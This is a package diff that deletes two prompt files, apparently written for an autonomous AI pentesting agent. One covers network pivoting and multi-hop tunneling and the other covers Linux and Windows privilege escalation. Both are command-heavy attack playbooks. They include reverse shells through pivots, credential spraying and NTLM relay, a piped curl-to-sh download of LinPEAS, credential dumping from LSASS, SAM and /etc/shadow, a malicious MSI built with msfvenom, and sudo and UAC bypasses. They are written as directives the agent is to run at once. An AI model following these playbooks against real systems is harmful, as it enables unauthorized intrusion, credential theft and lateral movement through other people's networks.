pentesting 0.73.13 → 0.90.1

package/dist/prompts/techniques/pivoting.md

@@ -1,205 +0,0 @@
-# Pivoting & Multi-Hop Tunneling — Autonomous Guide
-
-> **Cross-ref**: lateral.md (movement), ad-attack.md (AD pivoting), network-svc.md (internal services)
-
-## Core Principle
-
-Pivoting = using a compromised host as a relay to reach previously unreachable network segments.
-The agent on the **outer host** can only reach the **inner network** through a pivot chain.
-
----
-
-## Pivot Decision Tree
-
-```
-GOT SHELL ON HOST? → Run immediately:
-  ip a / ifconfig          → list interfaces (look for 2+ NICs = pivot candidate)
-  ip route / route -n      → routing table (internal subnets)
-  arp -a                   → visible hosts (discovered via ARP)
-  cat /etc/hosts           → hardcoded internal names
-  netstat -an              → internal listening services
-  ss -tlnp                 → listening ports (Linux)
-
-FOUND INTERNAL SUBNET (e.g. 10.10.100.0/24)?
-  → Port scan via pivot: nmap through socks proxy or chisel
-  → Identify services → exploit from outer agent via tunnel
-
-FOUND INTERNAL HOST NAMES?
-  → DNS resolution from pivot: dig @internal-DNS hostname
-  → Look for: DC, DB, git, admin, intranet, mail
-```
-
----
-
-## Method 1: SSH Tunneling (if SSH available on pivot)
-
-```
-LOCAL PORT FORWARD — access pivot's localhost from attacker:
-  ssh -L 8080:127.0.0.1:80 user@PIVOT
-  → Now: http://localhost:8080 = http://PIVOT:80
-
-REMOTE PORT FORWARD — expose attacker port through pivot:
-  ssh -R 0.0.0.0:4444:127.0.0.1:4444 user@PIVOT
-  → From PIVOT: nc attacker 4444 reaches attacker's local 4444
-
-DYNAMIC SOCKS PROXY — route arbitrary traffic through pivot:
-  ssh -D 1080 user@PIVOT
-  → proxychains / nmap --proxies socks4://127.0.0.1:1080 INTERNAL_TARGET
-
-MULTI-HOP (3 hops):
-  ssh -J user@HOP1,user@HOP2 user@FINAL_TARGET
-  ssh -L 8080:INTERNAL:80 -J user@HOP1 user@HOP2
-```
-
----
-
-## Method 2: Chisel (No SSH Required — TCP over HTTP)
-
-```
-ATTACKER SIDE (server):
-  chisel server --port 8080 --reverse
-
-PIVOT SIDE (client — upload chisel binary):
-  chisel client ATTACKER:8080 R:socks        → SOCKS5 on attacker:1080
-  chisel client ATTACKER:8080 R:4444:10.10.100.5:22  → forward specific port
-
-MULTI-HOP chisel:
-  HOP1 connects to attacker → SOCKS on attacker:1080
-  HOP2 connects to HOP1 via proxychains → SOCKS chain
-
-USAGE with proxychains:
-  echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf
-  proxychains nmap -sT -Pn -p 22,80,443,445,3389 10.10.100.0/24
-  proxychains evil-winrm -i 10.10.100.5 -u admin -p pass
-```
-
----
-
-## Method 3: Ligolo-ng (Kernel TUN — fastest, cleanest)
-
-```
-ATTACKER (proxy):
-  sudo ip tuntap add user $USER mode tun ligolo
-  sudo ip link set ligolo up
-  ./proxy -selfcert
-
-PIVOT (agent — upload binary):
-  ./agent -connect ATTACKER:11601 -ignore-cert
-
-ATTACKER — after agent connects:
-  session → select agent
-  listener_add --addr 0.0.0.0:1234 --to 10.10.100.5:22  → port forward
-  start → add route: sudo ip route add 10.10.100.0/24 dev ligolo
-  → Now: ssh admin@10.10.100.5 directly (no proxychains!)
-
-MULTI-HOP with ligolo:
-  Agent on HOP1 → reach HOP2 network
-  Upload agent to HOP2 → connect through ligolo listener on HOP1
-  web_search("ligolo-ng double pivot setup multi-hop")
-```
-
----
-
-## Method 4: Metasploit Route / SOCKS
-
-```
-meterpreter session on pivot:
-  background
-  use post/multi/manage/autoroute
-  set SESSION 1 → run
-
-Then:
-  use auxiliary/server/socks_proxy → set VERSION 5 → run
-  → proxychains through Metasploit SOCKS on 127.0.0.1:1080
-
-portfwd in meterpreter:
-  portfwd add -l 3389 -p 3389 -r INTERNAL_HOST
-  → rdesktop localhost:3389
-```
-
----
-
-## Method 5: Netcat / Socat Relay (No binary upload — abuse existing tools)
-
-```
-NETCAT RELAY (if mkfifo available):
-  mkfifo /tmp/pipe
-  nc -l -p 4444 < /tmp/pipe | nc INTERNAL_TARGET 22 > /tmp/pipe
-
-SOCAT RELAY:
-  socat TCP-LISTEN:4444,fork TCP:INTERNAL_TARGET:22
-  → Persistent relay: socat TCP-LISTEN:4444,fork,reuseaddr TCP:TARGET:22
-
-SOCAT SOCKS PROXY (if socat version supports it):
-  socat TCP-LISTEN:1080,fork SOCKS4A:localhost:INTERNAL_HOST:PORT,socksport=1080
-```
-
----
-
-## Internal Network Scanning via Pivot
-
-```
-VIA PROXYCHAINS (any pivot method):
-  proxychains nmap -sT -Pn -p 22,80,443,445,1433,3306,3389,5985,6379,8080 INTERNAL/24
-  proxychains nmap -sT -Pn --top-ports 100 INTERNAL/24
-
-BASH PING SWEEP (when no tools):
-  for i in $(seq 1 254); do ping -c1 -W1 10.10.100.$i &>/dev/null && echo "10.10.100.$i UP"; done
-
-BASH PORT SCAN (when no tools):
-  for port in 22 80 443 445 3389 5985; do
-    (echo >/dev/tcp/10.10.100.5/$port) 2>/dev/null && echo "$port OPEN"
-  done
-```
-
----
-
-## Reverse Shell Through Pivot
-
-```
-DOUBLE PIVOT — get shell from deep internal host back to outside:
-
-Method A: Chisel reverse
-  Outer SOCKS → proxychains + outer listener
-  Inner host connects outbound (if egress allowed): 
-    chisel client ATTACKER:8080 R:4445:127.0.0.1:4445
-
-Method B: Meterpreter bind shell
-  proxychains exploit/multi/handler (PAYLOAD: bind_tcp on INTERNAL_HOST)
-  lhost=INTERNAL_HOST → proxychains connect inbound
-
-Method C: SSH -R through existing session
-  From inner host: ssh -R 9001:127.0.0.1:9001 pivot_user@PIVOT
-  From attacker: nc PIVOT:9001
-
-Reverse shell via proxy (if internal host has egress):
-  → Set attacker IP as destination (should reach PIVOT, then routed back)
-  → Verify connectivity: proxychains curl http://ATTACKER:8080/test
-```
-
----
-
-## Credential Spray Across Pivoted Networks
-
-```
-Once you have credentials from the outer network → always spray internally:
-  proxychains crackmapexec smb 10.10.100.0/24 -u user -p pass --continue-on-success
-  proxychains crackmapexec winrm 10.10.100.0/24 -u user -p pass
-  proxychains impacket-psexec DOMAIN/user:pass@INTERNAL_HOST
-
-Credential relay internally:
-  proxychains impacket-ntlmrelayx -t INTERNAL_TARGET -smb2support
-  Coerce auth from pivot: PetitPotam, PrinterBug, MS-RPRN
-```
-
----
-
-## Search Patterns
-
-```
-web_search("chisel multi-hop pivot {year}")
-web_search("ligolo-ng double pivot internal network")
-web_search("proxychains nmap internal network scanning")
-web_search("pivot {OS} tunneling no binary upload")
-web_search("reverse shell through pivot NAT traversal")
-```

package/dist/prompts/techniques/privesc.md

@@ -1,190 +0,0 @@
-# Privilege Escalation — Comprehensive Autonomous Guide
-
-> **§3 Minimal Specification**: This file is a **Bootstrap reference**, not a prescribed order.
-> Do NOT follow steps linearly. Use `get_owasp_knowledge`, `web_search`, and target observations
-> to decide what to test and in what order. Adapt dynamically — not to this list.
-
-> **Cross-ref**: shells.md (shell access), post.md (post-exploitation), lateral.md (lateral movement)
-
-##  Core Principle
-Initial access is usually low-privileged. Privesc is MANDATORY.
-There are hundreds of privesc vectors — automated tools + manual checks + SEARCH.
-
-## 🐧 Linux Privilege Escalation
-
-### Automated Enumeration (RUN FIRST)
-```
-ALWAYS run automated enumeration:
-├── LinPEAS: curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
-├── LinEnum: web_search("linenum github") → download and run
-├── linux-exploit-suggester: web_search("linux exploit suggester github")
-├── pspy: monitor processes without root (cron jobs, other users' commands)
-└── If tools can't be transferred: run commands manually (see below)
-```
-
-### Manual Privesc Vector Map
-```
-LINUX PRIVESC CATEGORIES:
-│
-├── 1. Kernel Exploits
-│   ├── uname -a → kernel version
-│   ├── web_search("linux kernel {version} privilege escalation exploit")
-│   ├── searchsploit linux kernel {version}
-│   └── Dirty COW, Dirty Pipe, OverlayFS, etc.
-│
-├── 2. SUID/SGID Binaries
-│   ├── find / -perm -4000 -type f 2>/dev/null (SUID)
-│   ├── find / -perm -2000 -type f 2>/dev/null (SGID)
-│   ├── For EACH found binary: check GTFOBins
-│   │   web_search("{binary_name} gtfobins")
-│   ├── Custom SUID binaries: strings, ltrace, strace → find vulnerability
-│   └── Known exploitable SUID: nmap, vim, python, find, bash, cp, mv, etc.
-│
-├── 3. Sudo Misconfiguration
-│   ├── sudo -l (list what current user can sudo)
-│   ├── (ALL, !root) → CVE-2019-14287: sudo -u#-1 /bin/bash
-│   ├── NOPASSWD entries → check GTFOBins for each allowed command
-│   ├── sudo version: sudo --version → web_search("sudo {version} CVE")
-│   ├── LD_PRELOAD/LD_LIBRARY_PATH in env_keep → shared library injection
-│   └── web_search("sudo {command} privilege escalation gtfobins")
-│
-├── 4. Cron Jobs
-│   ├── cat /etc/crontab, ls -la /etc/cron.*, crontab -l
-│   ├── Writable cron scripts → replace with reverse shell
-│   ├── Wildcard injection: if cron uses * → inject flag files
-│   │   tar: --checkpoint + --checkpoint-action=exec=sh
-│   │   rsync: -e "sh shell.sh"
-│   ├── PATH exploitation: cron PATH writable → place malicious binary first
-│   └── pspy to discover hidden cron jobs and service activity
-│
-├── 5. Capabilities
-│   ├── getcap -r / 2>/dev/null
-│   ├── Exploitable: cap_setuid, cap_dac_override, cap_sys_admin, cap_net_raw
-│   ├── Python with cap_setuid: python -c 'import os; os.setuid(0); os.system("/bin/bash")'
-│   └── web_search("{binary} {capability} privilege escalation")
-│
-├── 6. Writable Files/Directories
-│   ├── /etc/passwd writable → add root user (openssl passwd -1 -salt xyz password)
-│   ├── /etc/shadow readable → crack hashes (hashcat/john)
-│   ├── .bashrc/.profile of other users → inject commands
-│   ├── Service config files → modify service to run as root
-│   ├── init scripts/systemd services writable → modify ExecStart
-│   └── find / -writable -type f 2>/dev/null | grep -v proc
-│
-├── 7. Path Hijacking
-│   ├── echo $PATH → are writable dirs BEFORE system dirs?
-│   ├── Service/script calls command without absolute path → create in writable dir
-│   ├── LD_LIBRARY_PATH → shared library hijacking
-│   └── Python library path → create malicious module with same name
-│
-├── 8. NFS Misconfiguration
-│   ├── cat /etc/exports → look for no_root_squash
-│   ├── Mount from attacker → create SUID binary → execute on target
-│   └── Web_search("NFS no_root_squash privilege escalation")
-│
-├── 9. Docker/Container Escape
-│   ├── In docker group? → docker run -v /:/mnt --rm -it alpine chroot /mnt sh
-│   ├── Privileged container? → mount /dev/sda1 /mnt → access host filesystem
-│   ├── Docker socket mounted? → full host access
-│   ├── cap_sys_admin → mount cgroup + notify_on_release → execute on host  
-│   └── web_search("docker container escape privilege escalation {year}")
-│
-├── 10. Sensitive Information
-│   ├── grep -r "password" /var/www/ /opt/ /home/ /etc/ 2>/dev/null
-│   ├── .env files, config files, database connection strings
-│   ├── .bash_history, .mysql_history, .sh_history
-│   ├── SSH keys: find / -name "id_rsa" -o -name "*.pem" 2>/dev/null
-│   ├── Stored credentials: /var/www/html/wp-config.php, .git/config
-│   └── Internal services with credentials → pivot to higher-priv user
-│
-└── 11. Miscellaneous
-    ├── Shared library injection via writable .so files
-    ├── AppArmor/SELinux misconfiguration → bypass
-    ├── dbus exploitation
-    ├── Polkit vulnerabilities (CVE-2021-4034 pkexec, CVE-2021-3560)
-    └── web_search("linux privilege escalation {year} new techniques")
-```
-
-## 🪟 Windows Privilege Escalation
-
-### Automated Enumeration
-```
-├── WinPEAS: upload and run (or run from memory via PowerShell)
-├── PowerUp.ps1: Invoke-AllChecks
-├── Seatbelt.exe: comprehensive security enumeration
-├── SharpUp.exe: check for common privesc vectors
-└── windows-exploit-suggester: compare systeminfo output
-```
-
-### Manual Privesc Vector Map
-```
-WINDOWS PRIVESC CATEGORIES:
-│
-├── 1. Kernel Exploits
-│   ├── systeminfo → OS version + patch level
-│   ├── web_search("windows {version} {build} privilege escalation exploit")
-│   ├── windows-exploit-suggester --update --systeminfo sysinfo.txt
-│   └── Notable: PrintNightmare, HiveNightmare, EternalBlue, JuicyPotato, etc.
-│
-├── 2. Service Exploits
-│   ├── Unquoted service paths: wmic service get name,pathname | findstr /i "C:"
-│   ├── Weak service permissions: sc qc <service>, accesschk.exe
-│   ├── Service binary replacement: replace binary of service running as SYSTEM
-│   ├── DLL Hijacking: missing DLL → place malicious DLL in search path
-│   └── Registry permissions: writable service registry keys
-│
-├── 3. Token Impersonation  
-│   ├── SeImpersonatePrivilege → JuicyPotato/PrintSpoofer/GodPotato
-│   ├── SeAssignPrimaryTokenPrivilege → token manipulation
-│   ├── whoami /priv → check all privileges
-│   └── web_search("windows token impersonation SeImpersonate exploit {year}")
-│
-├── 4. AlwaysInstallElevated
-│   ├── Check: reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
-│   ├── If enabled → create malicious .msi → runs as SYSTEM
-│   └── msfvenom -p windows/shell_reverse_tcp ... -f msi > evil.msi
-│
-├── 5. Stored Credentials
-│   ├── cmdkey /list → stored credentials
-│   ├── runas /savecred /user:admin "cmd /c reverse_shell.exe"
-│   ├── SAM/SYSTEM backup files → dump hashes
-│   ├── LSASS dump: mimikatz, Task Manager, procdump
-│   ├── Registry: reg save HKLM\SAM sam, reg save HKLM\SYSTEM system
-│   ├── Credential Manager, DPAPI protected blobs
-│   └── web_search("windows credential extraction techniques {year}")
-│
-├── 6. Scheduled Tasks
-│   ├── schtasks /query /fo LIST /v
-│   ├── Writable task scripts → replace with malicious code
-│   ├── Writable task binary paths → replace binary
-│   └── Missing binaries → create malicious binary at expected path
-│
-├── 7. Registry Exploits
-│   ├── AutoRun: reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
-│   ├── Writable registry keys → modify
-│   └── AppInit_DLLs, Image File Execution Options
-│
-├── 8. UAC Bypass
-│   ├── web_search("UAC bypass technique {year}")
-│   ├── fodhelper.exe bypass, eventvwr.exe bypass
-│   ├── DLL side-loading in auto-elevated processes
-│   └── UACME github → comprehensive UAC bypass collection
-│
-└── 9. Miscellaneous
-    ├── AMSI bypass → web_search("AMSI bypass {year}")
-    ├── AppLocker bypass → web_search("AppLocker bypass {year}")
-    ├── Network credential sniffing (Responder, Inveigh)
-    ├── Clipboard monitoring for passwords
-    └── web_search("windows privilege escalation {year} new techniques")
-```
-
-##  Universal Privesc Search Pattern
-```
-1. What OS/version? → web_search("{OS} {version} privilege escalation")
-2. What services? → web_search("{service} privilege escalation")
-3. What binaries? → web_search("{binary} gtfobins") OR web_search("{binary} lolbas")
-4. What's misconfigured? → interpret LinPEAS/WinPEAS output
-5. What's writable? → modify writable files/services for shell execution
-6. What credentials? → crack, spray, or reuse found credentials
-7. Still stuck? → web_search("{kernel_version} exploit CVE PoC")
-```